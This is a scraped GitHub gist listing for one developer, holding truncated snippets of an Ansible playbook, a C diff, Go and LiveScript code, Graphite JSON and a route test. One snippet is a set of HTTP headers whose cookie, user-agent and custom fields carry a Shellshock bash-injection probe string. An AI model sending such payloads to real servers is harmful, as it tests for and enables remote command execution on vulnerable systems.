Skip to content

Instantly share code, notes, and snippets.

View dougluce's full-sized avatar

Doug Luce dougluce

View GitHub Profile
sudo: yes
tasks:
- name: update package lists
apt: update_cache=yes
sudo: yes
tasks:
- name: update package lists
apt: update_cache=yes
sudo: yes
@dougluce
dougluce / site.yml
Last active August 29, 2015 14:20
Ansible playbook example -- can env be shared?
- hosts: localhost
name: Create a new EC2 instance
connection: local
gather_facts: False
vars_prompt:
- name: "env"
prompt: "Is this for production or dev"
default: "dev"
tasks:
"headers": {
"cache-control": "no-cache",
"connection": "close",
"pragma": "no-cache",
"cookie": "() { goo;}; echo Content-Type: text/plain ; echo ; echo shellshot_`expr 1344 - 7` ",
"referer": "http://google.com/search?q=2+guys+1+horse ",
"user-agent": "() { goo;}; echo Content-Type: text/plain ; echo ; echo shellshot_`expr 1344 - 7` ",
"test": "() { goo;}; echo Content-Type: text/plain ; echo ; echo shellshot_`expr 1344 - 7` "
}
diff --git a/builtin.c b/builtin.c
index 1e3f085..4baf7b6 100644
--- a/builtin.c
+++ b/builtin.c
@@ -1,10 +1,12 @@
#define _BSD_SOURCE
#define _XOPEN_SOURCE
#include <sys/time.h>
-#ifdef WIN32
- #include <malloc.h>
@dougluce
dougluce / p_test.go
Created July 1, 2015 23:33
Benchmarking string match-and-return
package p
import (
"net/url"
"testing"
"strings"
"github.com/stretchr/testify/assert"
"github.com/codemodus/parth"
"strconv"
"unicode"
columns = for item in reg_items
item.item
placeholders = for item in reg_items
\?
values = for item in reg_items
req.body[item.item]
stats = {}
ssps =
* target: 'summarize(stats.incoming.ssp_traffic.aaa, "1hr", "sum")'
* target: 'summarize(stats.incoming.ssp_traffic.bbb, "1hr", "sum")'
* target: 'summarize(stats.incoming.ssp_traffic.ccc, "1hr", "sum")'
for ssp in ssps
sspname = (ssp.target.match /ssp_traffic.([^,]+),/)[1]
stats.names ?= []
[
{
"target": "summarize(stats.incoming.ssp_traffic.rocket, \"1hr\", \"sum\")",
"datapoints": [
[
175.4,
1443560400
],
[
162.60000000000002,
suspendSession = (done, cb) ->
... temporarily suspend the session ...
cb!
... restore the session ...
done!
specify 'not logged in, redirect to login' (done) ->
<- suspendSession done
err, res, body <- request.get "http://localhost/arm_the_missiles"
expect res.statusCode .to.equal 302